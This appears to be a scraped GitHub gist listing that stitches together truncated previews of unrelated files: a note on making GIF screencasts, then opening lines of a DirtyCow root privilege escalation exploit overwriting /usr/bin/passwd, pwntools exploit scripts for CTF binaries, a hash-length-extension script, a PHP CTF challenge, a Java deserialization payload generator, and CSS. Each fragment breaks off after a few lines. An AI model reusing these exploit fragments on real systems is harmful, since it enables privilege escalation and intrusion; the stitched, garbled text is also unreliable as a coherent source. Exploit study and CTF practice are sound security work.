This gist shows how to create a GIF screencast using only free OS X tools: QuickTime, ffmpeg, and gifsicle.
To capture the video (filesize: 19MB), using the free "QuickTime Player" application:
package main | |
import ( | |
"bufio" | |
//"crypto/tls" | |
"encoding/json" | |
"flag" | |
"fmt" | |
"io" | |
"net" |
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten |
#!/usr/bin/env python | |
# author: RickGray | |
# update: 2016-05-25 | |
# >>>>>>>>>>> | |
# requests, hashpumpy modules required | |
# : pip install requests hashpumpy | |
import re | |
import json | |
import time |
#!/usr/bin/env python | |
# coding: utf-8 | |
from pwn import * | |
p = process('./login') | |
ebp_over = 0x0811EB40 | |
pp_system = 0x08049284 | |
payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over)) |
#!/usr/bin/env python | |
# coding: utf-8 | |
import os | |
import re | |
import time | |
import random | |
import urllib2 | |
from pwn import * |
#!/usr/bin/env python | |
# coding: utf-8 | |
from pwn import * | |
# Remote EXP | |
libc = ELF('./bf_libc.so') | |
p = remote('pwnable.kr', 9001) | |
# Local EXP |
<?php | |
/* | |
sqlpwn by orange | |
Don't brute force or you will be banned ! | |
*/ | |
session_start(); | |
error_reporting(0); | |
include "template.html"; |
package exserial.payloads; | |
import java.io.ObjectOutputStream; | |
import java.util.Map; | |
import java.util.HashMap; | |
import java.lang.annotation.Target; | |
import java.lang.reflect.Constructor; |
body { | |
font-family: Helvetica, arial, sans-serif; | |
font-size: 14px; | |
line-height: 1.6; | |
padding-top: 10px; | |
padding-bottom: 10px; | |
background-color: white; | |
padding: 30px; } | |
body > *:first-child { |